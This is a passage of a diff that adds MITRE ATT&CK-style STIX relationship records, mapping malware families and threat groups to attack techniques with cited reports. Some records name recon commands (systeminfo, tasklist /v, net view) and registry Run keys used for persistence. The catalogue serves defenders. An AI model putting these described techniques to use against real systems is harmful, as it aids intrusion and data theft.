"relationship--5d55979e-d4e8-44eb-97d6-e3e78baa60c7", + "description": "[MobileOrder](https://attack.mitre.org/software/S0079) exfiltrates data collected from the victim mobile device.(Citation: Scarlet Mimic Jan 2016)", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "source_name": "Scarlet Mimic Jan 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--10c6cc56-a028-4c2a-b24e-38d97fb4ebb7", + "description": "[NetTraveler](https://attack.mitre.org/software/S0033) reports window names along with keylogger information to provide application context.(Citation: Kaspersky NetTraveler)", + "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830", + "modified": "2020-03-16T17:20:39.755Z", + "source_ref": "malware--cafd0bf8-2b9c-46c7-ae3c-3e0f42c5062e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "http://www.securelist.com/en/downloads/vlpdfs/kaspersky-the-net-traveler-part1-final.pdf", + "description": "Kaspersky Lab's Global Research and Analysis Team. (n.d.). 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The group has also leveraged default manufacturer's passwords to gain initial access to corporate networks via IoT devices such as a VOIP phone, printer, and video decoder.(Citation: Trend Micro Pawn Storm April 2017)(Citation: DOJ GRU Indictment Jul 2018)(Citation: Microsoft STRONTIUM Aug 2019)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "modified": "2021-07-26T17:53:02.916Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "source_name": "Trend Micro Pawn Storm April 2017", + "description": "Hacquebord, F.. (2017, April 25). Two Years of Pawn Storm: Examining an Increasingly Relevant Threat. Retrieved May 3, 2017.", + "url": "https://documents.trendmicro.com/assets/wp/wp-two-years-of-pawn-storm.pdf" + }, + { + "url": "https://www.justice.gov/file/1080281/download", + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", + "source_name": "DOJ GRU Indictment Jul 2018" + }, + { + "source_name": "Microsoft STRONTIUM Aug 2019", + "description": "MSRC Team. (2019, August 5). Corporate IoT \u2013 a path to intrusion. Retrieved August 16, 2019.", + "url": "https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/" + }, + { + "url": "https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF", + "description": "NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021.", + "source_name": "Cybersecurity Advisory GRU Brute Force Campaign July 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--10af8211-36f6-4152-8221-c152407bd969", + "description": "(Citation: Accenture Hogfish April 2018)(Citation: FireEye APT10 Sept 2018)(Citation: Symantec Cicada November 2020)", + "target_ref": "tool--0a68f1f1-da74-4d28-8d9a-696c082706cc", + "modified": "2020-12-17T16:16:08.982Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf", + "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.", + "source_name": "Accenture Hogfish April 2018" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html", + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "source_name": "FireEye APT10 Sept 2018" + }, + { + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage", + "description": "Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. 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Retrieved March 15, 2018.", + "source_name": "Unit 42 Sofacy Feb 2018" + }, + { + "url": "https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF", + "description": "NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021.", + "source_name": "Cybersecurity Advisory GRU Brute Force Campaign July 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3c452693-7971-42f3-8bdc-68e2c7d785ae", + "description": "(Citation: McAfee Honeybee)", + "target_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f", + "modified": "2020-04-16T19:41:40.645Z", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--79826a7e-d9dd-4c4f-bc1f-e5f2d4c6465b", + "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070) collected file listings of all default Windows directories.(Citation: Lookout Dark Caracal Jan 2018)", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "modified": "2019-07-16T15:35:20.860Z", + "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "Lookout Dark Caracal Jan 2018", + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3127bcf3-3638-4c1b-9a95-156f6c78658a", + "description": "(Citation: Unit 42 OopsIE! Feb 2018)", + "target_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", + "modified": "2019-09-04T22:55:41.892Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "Unit 42 OopsIE! Feb 2018", + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b4f8c479-aab5-481d-aa04-922677da108a", + "description": "[Gazer](https://attack.mitre.org/software/S0168) can establish persistence through the system screensaver by configuring it to execute the malware.(Citation: ESET Gazer Aug 2017)", + "target_ref": "attack-pattern--ce4b7013-640e-48a9-b501-d0025a95f4bf", + "modified": "2020-03-17T01:22:43.697Z", + "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf", + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", + "source_name": "ESET Gazer Aug 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4d3e4232-1330-45a9-9e90-9914eed276a5", + "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware gathers passwords from multiple sources, including Windows Credential Vault and Outlook.(Citation: Citizen Lab Stealth Falcon May 2016)", + "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0", + "modified": "2020-03-20T00:17:48.821Z", + "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.074Z", + "external_references": [ + { + "url": "https://citizenlab.org/2016/05/stealth-falcon/", + "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.", + "source_name": "Citizen Lab Stealth Falcon May 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d8e0ed13-7938-4c9c-99ef-511b8dbf76aa", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) downloads several additional files and saves them to the victim's machine.(Citation: Trend Micro Totbrick Oct 2016)(Citation: Bitdefender Trickbot VNC module Whitepaper 2021)", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "modified": "2021-09-28T22:45:48.954Z", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_trickload.n", + "description": "Antazo, F. (2016, October 31). TSPY_TRICKLOAD.N. Retrieved September 14, 2018.", + "source_name": "Trend Micro Totbrick Oct 2016" + }, + { + "url": "https://www.bitdefender.com/files/News/CaseStudies/study/399/Bitdefender-PR-Whitepaper-Trickbot-creat5515-en-EN.pdf ", + "description": "Radu Tudorica. (2021, July 12). A Fresh Look at Trickbot\u2019s Ever-Improving VNC Module. Retrieved September 28, 2021.", + "source_name": "Bitdefender Trickbot VNC module Whitepaper 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e1f4c08f-b5b1-4d62-8f1c-75f4302b0bce", + "description": "[Shamoon](https://attack.mitre.org/software/S0140) scans the C-class subnet of the IPs on the victim's interfaces.(Citation: FireEye Shamoon Nov 2016)", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "modified": "2019-04-24T23:59:16.274Z", + "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html", + "description": "FireEye. (2016, November 30). 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Retrieved January 11, 2017.", + "source_name": "FireEye Shamoon Nov 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--eb85fa2e-3c50-4130-9717-8688237fecbc", + "description": "[admin@338](https://attack.mitre.org/groups/G0018) actors used the following commands after exploiting a machine with [LOWBALL](https://attack.mitre.org/software/S0042) malware to obtain information about the OS: ver >> %temp%\\download systeminfo >> %temp%\\download(Citation: FireEye admin@338)", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "modified": "2019-09-04T19:48:17.579Z", + "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.052Z", + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ab109b93-76a9-46da-8934-58751125fd1e", + "description": "[OSInfo](https://attack.mitre.org/software/S0165) enumerates local and domain users(Citation: Symantec Buckeye)", + "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af", + "modified": "2020-03-18T20:19:35.794Z", + "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "source_name": "Symantec Buckeye" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--46660a8a-7724-4577-b09e-551a1ce61bfc", + "description": "[Duqu](https://attack.mitre.org/software/S0038) creates a new service that loads a malicious driver when the system starts. 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Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9f62c4e4-02d4-497b-8039-cc4e816386a5", + "description": "(Citation: Novetta Blockbuster Loaders)", + "target_ref": "tool--5a63f900-5e7e-4928-a746-dd4558e1df71", + "modified": "2019-12-20T14:28:39.536Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.070Z", + "external_references": [ + { + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. 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W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8087d99b-cc05-4e2a-abce-687eb726a9e7", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware has used base64-encoded commands and files, and has also encrypted embedded strings with AES.(Citation: Unit 42 Magic Hound Feb 2017)", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "modified": "2019-09-09T19:21:42.306Z", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/", + "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", + "source_name": "Unit 42 Magic Hound Feb 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e30a790b-8f09-4bdc-8116-275d00880333", + "description": "[FLASHFLOOD](https://attack.mitre.org/software/S0036) searches for interesting files (either a default or customized set of file extensions) on removable media and copies them to a staging area. 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Retrieved May 1, 2015.", + "source_name": "FireEye APT30" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--066d9d0e-0298-420b-ba84-a4af07211a35", + "description": "[Proxysvc](https://attack.mitre.org/software/S0238) searches the local system and gathers data.(Citation: McAfee GhostSecret)", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "modified": "2019-04-22T22:40:41.212Z", + "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--91b6a6e1-c0eb-4bd8-84d4-4c31caf2ba6a", + "description": "[PLAINTEE](https://attack.mitre.org/software/S0254) performs the tasklist command to list running processes.(Citation: Rancor Unit42 June 2018)", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "modified": "2020-03-19T19:52:53.268Z", + "source_ref": "malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/", + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "source_name": "Rancor Unit42 June 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--fbae4191-679a-45b2-8ebb-8adb5348f4d0", + "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) contains a custom version of the RC4 algorithm that includes a programming error.(Citation: F-Secure Cosmicduke)", + "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", + "modified": "2021-07-20T21:57:36.222Z", + "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "source_name": "F-Secure Cosmicduke", + "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.", + "url": "https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--71fd7b73-462f-4629-8d95-59d0129b1503", + "description": "[Kwampirs](https://attack.mitre.org/software/S0236) collects a list of available servers with the command net view.(Citation: Symantec Orangeworm April 2018)", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "modified": "2020-03-18T00:52:18.916Z", + "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia", + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "source_name": "Symantec Orangeworm April 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--28084f31-80be-472b-bd15-6945b2905a93", + "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) deletes one of its files, 2.hwp, from the endpoint after establishing persistence.(Citation: McAfee Gold Dragon)", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "modified": "2020-04-21T23:09:31.048Z", + "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "McAfee Gold Dragon", + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8bb8c2ab-b701-4a09-902b-a2ddf8d36451", + "description": "An older variant of [PLAINTEE](https://attack.mitre.org/software/S0254) performs UAC bypass.(Citation: Rancor Unit42 June 2018)", + "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", + "modified": "2020-03-19T19:52:53.269Z", + "source_ref": "malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/", + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "source_name": "Rancor Unit42 June 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--40e636e8-a891-46fb-ba04-69db00062354", + "description": "[RGDoor](https://attack.mitre.org/software/S0258) encrypts files with XOR before sending them back to the C2 server.(Citation: Unit 42 RGDoor Jan 2018)", + "target_ref": "attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b", + "modified": "2020-03-30T03:04:09.125Z", + "source_ref": "malware--b9eec47e-98f4-4b3c-b574-3fa8a87ebe05", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/", + "description": "Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.", + "source_name": "Unit 42 RGDoor Jan 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cd1e409b-e981-4c83-a9ea-86705a45f92c", + "description": "[EvilGrab](https://attack.mitre.org/software/S0152) adds a Registry Run key for ctfmon.exe to establish persistence.(Citation: PWC Cloud Hopper Technical Annex April 2017)", + "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", + "modified": "2020-03-16T16:46:28.722Z", + "source_ref": "malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--327a64df-b405-453b-83d2-528d17e8df51", + "description": "One persistence mechanism used by [CozyCar](https://attack.mitre.org/software/S0046) is to set itself to be executed at system startup by adding a Registry value under one of the following Registry keys:
HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\
HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\
HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run
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Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--edb697fa-d6b2-400a-acad-ccacc38c87c0", + "target_ref": "attack-pattern--04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf", + "modified": "2020-03-13T21:03:18.913Z", + "source_ref": "course-of-action--fae44eea-caa7-42b7-a2e2-0c815ba81b9a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2017-12-14T16:46:06.044Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ab27d055-77bb-4a3d-89b2-771e532f7384", + "description": "[Pasam](https://attack.mitre.org/software/S0208) creates a backdoor through which remote attackers can retrieve lists of files.(Citation: Symantec Pasam May 2012)", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "modified": "2020-02-11T19:38:06.237Z", + "source_ref": "malware--e811ff6a-4cef-4856-a6ae-a7daf9ed39ae", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-050412-4128-99", + "description": "Mullaney, C. & Honda, H. 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Retrieved February 21, 2018.", + "source_name": "Symantec Briba May 2012" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4438ba64-0cd2-46e9-8a67-c685bf9b404c", + "description": "[Sykipot](https://attack.mitre.org/software/S0018) may gather a list of running processes by running tasklist /v.(Citation: AlienVault Sykipot 2011)", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "modified": "2020-03-16T17:50:28.616Z", + "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www.alienvault.com/open-threat-exchange/blog/another-sykipot-sample-likely-targeting-us-federal-agencies", + "description": "Blasco, J. (2011, December 12). Another Sykipot sample likely targeting US federal agencies. Retrieved March 28, 2016.", + "source_name": "AlienVault Sykipot 2011" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--11a7431f-416f-48de-a3c0-8782abdede63", + "description": "When it first starts, 